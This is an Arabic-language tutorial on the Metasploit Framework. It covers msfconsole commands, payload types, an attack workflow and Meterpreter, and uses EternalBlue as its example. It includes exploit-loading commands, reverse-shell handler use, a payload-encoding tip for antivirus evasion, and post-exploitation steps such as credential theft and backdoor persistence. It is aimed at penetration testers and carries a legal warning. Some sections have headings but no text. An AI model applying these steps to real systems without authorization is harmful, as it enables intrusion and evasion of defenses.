METASPLOIT
THE FRAMEWORK OF FRAMEWORKS
الدليل الأكثر شمولاً وتفصيلاً عن Metasploit Framework — من أول أمر في msfconsole حتى Meterpreter والـ Post-Exploitation الكامل
- 01//ما هو Metasploit Framework؟
- 02//البنية المعمارية — كيف يعمل؟
- 03//التثبيت وتشغيل msfconsole
- 04//أوامر msfconsole الكاملة
- 05//أنواع الـ Modules — الترسانة الكاملة
- 06//Exploit Ranking System
- 07//الـ Payloads — Single، Staged، Stager
- 08//الـ Workflow الكامل — من A إلى Z
- 09//Meterpreter — الـ Shell المتقدم
- 10//مثال حي: EternalBlue / MS17-010
- 11//قاعدة البيانات وWorkspaces
- 12//نصائح الاحترافيين
// ما هو Metasploit Framework؟
أقوى منصة اختبار اختراق في العالم
Metasploit Framework (MSF) هي منصة اختبار اختراق مفتوحة المصدر مبنية بـ Ruby، طوّرها H.D. Moore عام 2003 ثم استحوذت عليها Rapid7 عام 2009. تُعتبر الأداة الأولى والأكثر استخداماً في مجال Penetration Testing على مستوى العالم.
تضم الـ Framework أكثر من 2300 exploit و592 payload و1100 auxiliary module — تغطي أنظمة Windows وLinux وmacOS والأجهزة المدمجة وتطبيقات الويب والشبكات.
ما يجعل MSF استثنائية هو نظامها المعياري (Modular Architecture) — يمكن لأي شخص كتابة Module خاص به وإضافته للـ Framework. هذا جعلها تنمو باستمرار مع كل CVE جديد يُكتشف.
⚠️ تحذير قانوني: استخدام Metasploit على أنظمة لا تمتلك إذناً صريحاً باختبارها هو جريمة جنائية في كل دول العالم. استخدمها فقط على أنظمتك الخاصة أو في بيئات تدريبية مثل HackTheBox وVulnHub وMetasploitable.
// البنية المعمارية
كيف يعمل MSF من الداخل؟
// التثبيت وتشغيل msfconsole
الدخول للمعركة
// أوامر msfconsole الكاملة
كل ما تحتاجه على طرف إصبعك
| الأمر | الوصف | مثال |
|---|---|---|
| help / ? | عرض كل الأوامر المتاحة | help |
| search | البحث عن Module بالاسم أو CVE أو النوع | search type:exploit ms17-010 |
| use | تحميل Module | use exploit/windows/smb/ms17_010_eternalblue |
| info | معلومات تفصيلية عن Module | info |
| show options | عرض خيارات الـ Module المحمّل | show options |
| show targets | عرض الـ Targets المتاحة | show targets |
| show payloads | عرض الـ Payloads المتوافقة | show payloads |
| set | تعيين قيمة لخيار | set RHOSTS 10.10.10.10 |
| setg | تعيين قيمة عالمية (لكل الـ Modules) | setg LHOST 10.10.14.5 |
| unset / unsetg | إلغاء قيمة خيار | unset RHOSTS |
| run / exploit | تنفيذ الـ Module | run / exploit |
| exploit -j | تنفيذ كـ Background Job | exploit -j |
| check | التحقق إذا كان الهدف قابل للاستغلال | check |
| back | الخروج من Module الحالي | back |
| sessions | عرض الجلسات المفتوحة | sessions -l |
| sessions -i | التفاعل مع جلسة | sessions -i 1 |
| sessions -k | إغلاق جلسة | sessions -k 1 |
| jobs | عرض الـ Jobs الجارية | jobs -l |
| kill | إيقاف Job | kill 0 |
| db_nmap | تشغيل Nmap مع حفظ النتائج في DB | db_nmap -sV 10.10.10.10 |
| hosts | عرض الـ Hosts في قاعدة البيانات | hosts |
| services | عرض الـ Services المكتشفة | services -p 445 |
| vulns | عرض الثغرات المكتشفة | vulns |
| workspace | إدارة الـ Workspaces | workspace -a HTB |
| makerc | حفظ الـ Session كـ Script | makerc /tmp/session.rc |
| resource | تشغيل Script من ملف | resource /tmp/auto.rc |
| save | حفظ الـ Global Settings | save |
| reload_all | إعادة تحميل كل الـ Modules | reload_all |
| version | عرض إصدار MSF | version |
| exit / quit | الخروج من msfconsole | exit |
// الـ Modules — الترسانة الكاملة
كل Module له دور محدد في الهجوم
// Exploit Ranking System
ليس كل Exploit متساوياً
لكل Exploit في MSF تقييم يُحدد مدى موثوقيته وخطره على استقرار الهدف:
// الـ Payloads — 3 أنواع أساسية
ماذا يحدث بعد الاختراق؟
الـ Payload هو الكود الذي يُنفَّذ على الهدف بعد نجاح الـ Exploit. لكل نوع هجوم Payload مناسب:
| النوع | الصيغة | الوصف | الاستخدام |
|---|---|---|---|
| Singles | windows/shell_bind_tcp | كامل في نفسه — يحتوي Exploit + Shellcode معاً. أكثر استقراراً. | مناسب عند محدودية الحجم |
| Stagers | windows/meterpreter/reverse_tcp | يُنشئ الاتصال ثم يُحمّل الـ Stage. صغير الحجم — يتجاوز القيود. | WPA2 Payloads المعقدة |
| Stages | windows/x64/meterpreter/... | يُحمَّل عبر الـ Stager. لا حدود للحجم — يوفر ميزات متقدمة. | Meterpreter، VNC، PowerShell |
// الـ Workflow الكامل — من A إلى Z
سيناريو اختراق متكامل
المسح والاستطلاع
استخدام Nmap وdb_nmap لاكتشاف الـ Hosts والـ Services والثغرات المحتملة. تخزين النتائج في قاعدة البيانات.
البحث عن الثغرة المناسبة
استخدام search بالـ CVE أو اسم الخدمة لإيجاد Exploit مناسب. تشغيل Auxiliary Scanner للتحقق من قابلية الاستغلال.
الاستغلال — الضربة الأولى
تحميل الـ Exploit وتعيين RHOSTS وLHOST وLPORT والـ Payload المناسب. تشغيل check للتحقق ثم exploit.
إدارة الجلسة
بعد نجاح الاختراق، تُفتح Meterpreter Session. يمكن تشغيل Multiple Exploits في Background والتنقل بينها.
ما بعد الاختراق
جمع Credentials، Privilege Escalation، Pivoting لشبكات داخلية، تثبيت Backdoor للـ Persistence.
التوثيق والتقرير
تصدير النتائج من قاعدة البيانات، توثيق كل خطوة، إنتاج تقرير شامل للعميل.
// Meterpreter — الـ Shell الذي لا يُقهر
أقوى Payload في MSF
Meterpreter (Metasploit Interpreter) هو Payload متقدم يُحمَّل مباشرة في ذاكرة الهدف (In-Memory) بدون كتابة أي ملف على القرص — مما يجعله غير مرئي تقريباً للـ Antivirus. يدعم Dynamic Extension Loading — يمكن تحميل ميزات إضافية في وقت التشغيل.
// مثال حي: EternalBlue / MS17-010
الاختراق الذي هزّ العالم
EternalBlue (MS17-010) هي الثغرة التي استخدمتها NSA وسُرقت عام 2017، ثم استخدمها WannaCry Ransomware لإصابة أكثر من 200,000 نظام في 150 دولة. تستغل ثغرة في بروتوكول SMBv1 على Windows وتمنح صلاحيات SYSTEM مباشرة.
// قاعدة البيانات والـ Workspaces
تنظيم عمليات الاختبار
// نصائح الاحترافيين
ما لا تجده في الدليل الرسمي
exploit -j يشغّل الـ Exploit كـ Background Job — يمكنك تشغيل عدة Exploits في آنٍ واحد والتنقل بينها.setg LHOST 10.10.14.5 تعيين LHOST مرة واحدة لكل الـ Modules — لا تحتاجها في كل مرة.resource /path/to/script.rc — أتمتة كاملة.run post/multi/recon/local_exploit_suggester لاقتراح Local Privilege Escalation Exploits تلقائياً.-e x64/zutto_dekiru -i 5 مع التشفير 5 مرات لتحسين التهرب من الـ AV.check أولاً قبل التنفيذ — الـ check يحمي الهدف من الـ Crash.use exploit/multi/handler مع msfvenom للتحكم في الـ Reverse Shells الخارجية بشكل أنيق.Metasploit Framework ليست مجرد أداة — إنها منظومة متكاملة تجمع الاستطلاع والاستغلال والـ Post-Exploitation في مكان واحد. إتقانها يعني إتقان تفكير المهاجم، وهذا هو المفتاح الحقيقي لبناء دفاع محكم. الاستخدام الأخلاقي والقانوني هو ما يفرّق بين الـ Penetration Tester والمجرم.
